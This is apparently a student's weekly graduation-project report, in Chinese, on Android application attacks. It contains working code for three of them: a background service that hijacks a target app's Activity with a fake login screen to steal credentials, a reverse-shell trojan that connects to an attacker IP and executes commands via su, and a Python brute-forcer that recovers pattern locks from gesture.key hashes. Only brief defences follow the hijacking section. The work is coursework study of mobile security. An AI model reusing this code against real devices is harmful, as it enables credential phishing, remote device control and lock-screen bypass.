20165320 第五周 毕业设计总结
20165320 毕业设计 第五周总结
任务及完成情况
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内容总结
二、Activity劫持原理
1、简介
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Activity组件是Android四大组件中与用户交互最频繁的组件，作为Android应用的显示载体，其存在的安全隐患是最值得注意的，Activity劫持攻击就是这一组件存在的安全风险。
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Activity劫持是基于Activity所在任务及返回栈相关属性进行劫持的一种手段.通过一定的属性设计，可以实现Activity在不同任务之间的转移及覆盖等行为。
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在进行安卓APP开发过程中，如果在启动一个Activity时，给他加入一个标志位FLAG_ACTIVITY_NEW_TASK，就能使他置于栈顶并立马呈现给用户。在Android系统当中，程序可以枚举当前运行的进程而不需要声明其他权限，这样子我们就可以写一个程序，启动一个后台的服务，这个服务不断地扫描当前运行的进程，当发现目标进程启动时，就启动一个伪装的Activity，如果用户在虚假的Activity中输入了用户名密码等个人信息，就可能被窃取。
2、常见攻击手段
- 监听系统Logocat日志，一旦监听到发生Activity界面切换行为，即进行攻击，覆盖上假冒Activity界面实施欺骗。
- 监听系统API，一旦恶意程序监听到相关界面的API组件调用，即可发起攻击。
- 5.0以下机型枚举获取栈顶Activity，监控到目标Activity出现，即可发起攻击。
- 恶意启动Service监听目标应用，在切换到目标Activity时，弹出对话框劫持当前界面迷惑用户。
3、代码实现
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具体实现采用的攻击手段为恶意启动Service监听目标应用，在切换到目标Activity时，弹出对话框劫持当前界面迷惑用户。核心代码如下：
//我们新建一个Runnable对象，每隔200ms进行一次搜索 Runnable searchTarget = new Runnable() { @Override public void run() { //得到ActivityManager ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); //通过ActivityManager将当前正在运行的进程存入processInfo中 List<ActivityManager.RunningAppProcessInfo> processInfo = activityManager.getRunningAppProcesses(); //遍历processInfo中的进程信息，看是否有我们的目标 for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) { //若processInfo中的进程正在前台且是我们的目标进程，则调用hijack方法进行劫持 if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) { if (targetMap.containsKey(_processInfo.processName)) { // 调用hijack方法进行劫持 hijack(_processInfo.processName); } } } handler.postDelayed(searchTarget, 200); } }; //进行Activity劫持的函数 private void hijack(String processName) { //这里判断我们的目标程序是否已经被劫持过了 if (((EvilApplication) getApplication()) .hasProgressBeHijacked(processName) == false) { Intent intent = new Intent(getBaseContext(), targetMap.get(processName)); //这里必须将flag设置为Intent.FLAG_ACTIVITY_NEW_TASK，这样才能将我们伪造的Activity至于栈顶 intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); //启动我们伪造的Activity getApplication().startActivity(intent); //将目标程序加入到已劫持列表中 ((EvilApplication) getApplication()).addHijacked(processName); } } @Override public void onStart(Intent intent, int startId) { super.onStart(intent, startId); if (!isStart) { //将我们的目标加入targetMap中 //这里，key为我们的目标进程，value为我们伪造的Activity targetMap.put("com.droider.crackme0201", FakeMainActivity.class); //启动searchTarget handler.postDelayed(searchTarget, 1000); isStart = true; } } -
运行效果如下：
4、防护措施
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针对用户：Android手机均有一个HOME键，长按可以查看到近期任务。用户在要输入密码进行登录时，可以通过长按HOME键查看近期任务。但是在针对设置Android:excludeFromRecents的值为true的ACtivity时，程序在运行时就不会显示在最近运行过的程序列表中，这种检测方式也就没有效果了。
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针对开发人员：
- 在登录窗口或者用户隐私输入等关键Activity的onPause方法中检测最前端Activity应用是不是自身或者是系统应用，如果发现恶意风险，则给用户一些警示信息，提示用户其登陆界面以被覆盖，并给出覆盖正常Activity的类名。
- 在 Acitivity 的 onStop 方法中 调用封装的 AntiHijackingUtil 类（检测系统程序白名单）检测程序是否被系统程序覆盖。
- 在前面建立的正常Activity的登陆界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，判断程序进入后台是否是用户自身造成的（触摸返回键或 HOME 键）这样一来，当其被覆盖时，就能够弹出警示信息。
三、Android后门shell
1、简介
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计算机病毒非常流行，随着智能手机的发展，能够感染智能手机的移动恶意软件也在增加，Android系统具有开放性，一些敏感的AIP对于开发人员也是开放的。
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恶意软件的一些行为特征：
- 窃取个人信息，并发送到攻击者的服务器上。
- root设备。
- 使攻击者获得远程控制权限。
- 未经用户允许安装应用。
2、Socket原理
3、实现一个简单的Android端反向Shell
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之前大三的时候，娄老师曾经教过我们关于Socket套接字的使用，然后利用网络对抗课程中刘老师提供给我们的nc程序，通过Socket编写一个简单的反向shell木马，实现过程如下：
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首先为了避免在主线程执行网络任务，创建一个线程，因为当应用在主线程执行网络任务时，可能会导致应用崩溃。从Android4.4开始，会抛出运行异常。
Thread thread = new Thread(){ @Override public void run(){ //线程逻辑 } } -
声明攻击者服务器的IP和端口号，建立Socket连接。
String SERVERIP = "192.168.1.7"; //根据实际情况修改IP int PORT = 1337; //端口号 try { InetAddress HOST = InetAddress.getByName(SERVERIP); Socket socket = new Socket(HOST,PORT); // 建立连接 ······· } -
实例化PrintWriter和BufferedReader对象。out对象用于将指令的输出结果发送给攻击者，in对象用于接收攻击者的命令.
PrintWriter out; BufferedReader in; out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())), true); in = new BufferedReader(new InputStreamReader(socket.getInputStream())); -
使用InputStreamReader对象读取字符串输入，即攻击者输入的Shell指令。
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Java中的exec()方法用于运行系统指令，Command用于存储攻击者指令的字符串变量，指令通过Android设备上的/system/bin/sh二进制文件执行。
Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/su", "-c", command}); -
使用output对象来存放执行攻击命令后得到的系统输出。
int read; char[] buffer = new char[4096]; StringBuffer output = new StringBuffer(); while ((read = reader.read(buffer)) > 0) { output.append(buffer,0, read); } -
将output对象转换成一个格式化的字符串。
String commandoutput = output.toString(); -
向攻击者Shell写入输出数据。
if(out != null && !out.checkError()){ out.println(commandoutput); out.flush(); } } -
运行时首先打开nc程序的监听：
- 模拟器中打开APP运行，获得一个shell连接，输入命令执行：
4、总结
- 通过Socket可以获得一个Android设备上的反向shell，但是shell的权限与应用程序的权限一样，如果设备没有root，能够获得的信息将非常有限，体现了Android的沙箱保护机制。
四、Android图案锁的破解
1、简介
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Android目前支持的锁屏密码主要有两种，一种是手势密码，也就是常见的九宫格，一种是输入密码，分为PIN密码和复杂字符密码，这里以手势密码为例。
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Android系统中的手势图案锁由九个点构成，设定图案需满足三个要求：
- 至少四个点
- 最多九个点
- 无重复点
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每一个点都对应一个字节的数据：
- 设定图案顺序后，按照图案对应的数据转换成字节数组进行排列，然后使用SHA-1算法计算哈希值，存储在设备的/data/system/gesture.key文件中，利用上一小节生成的shell程序可以查看到该文件的内容：
2、破解思路
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穷举所有的数字串，生成至少四个数据点作为原数据，使用SHA-1算法生成哈希值，与gesture.key文件进行比对。核心代码如下：
for i in range(0,9): str_temp='0'+str(i) matrix.append(str_temp) min_num=4 max_num=len(matrix) // 将00~08的字符进行排列，至少取4个数排列 for num in range(min_num,max_num+1): iter1 = itertools.permutations(matrix,num) //从9个数据中挑n个排列 list_m=[] list_m.append(list(iter1)) for el in list_m[0]: // 遍历 strlist = ''.join(el) strlist_sha1 = hashlib.sha1(bytes.fromhex(strlist)).hexdigest() //对字符串进行SHA-1加密 if pswd_hex == strlist_sha1 : //比对SHA-1值 print('解锁密码为：',strlist)
3、运行结果如下：
待解决的问题&下周的计划
问题：
- 这一周开始Android应用安全方面的学习，但是对于整个课题还是存在很大的疑惑，最后能实现针对一个APP的攻击，然后实现防护方案，那么我就朝着这个最后的目标走吧。
下周的计划
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实现基于Android的应用攻击，主要包括静态恶意代码注入，动态调试Smail代码，Hook。
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记录学习过程，汇总相关知识。
